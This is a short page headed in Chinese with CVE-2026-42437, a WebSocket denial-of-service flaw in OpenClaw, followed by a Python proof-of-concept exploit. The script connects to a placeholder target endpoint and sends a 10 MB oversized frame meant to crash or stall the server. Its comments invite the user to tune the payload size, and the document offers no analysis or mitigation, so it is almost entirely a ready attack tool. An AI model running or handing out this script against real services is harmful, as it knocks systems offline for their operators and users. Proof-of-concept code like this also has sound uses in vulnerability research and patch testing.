CVE-2026-42437 OpenClaw WebSocket拒绝服务漏洞

import asyncio import websockets # PoC for CVE-2026-42437: OpenClaw WebSocket DoS async def send_oversized_frame(uri): try: async with websockets.connect(uri) as websocket: print(f"Connected to {uri}") # Send an oversized payload to trigger the DoS # Adjust payload size as needed based on server limits large_payload = "A" * 10000000 # 10MB payload print("Sending oversized frame...") await websocket.send(large_payload) print("Payload sent. Check server availability.") except Exception as e: print(f"An error occurred: {e}") if __name__ == "__main__": target_uri = "ws://target-ip:port/websocket-path" # Replace with actual target WebSocket endpoint asyncio.get_event_loop().run_until_complete(send_oversized_frame(target_uri))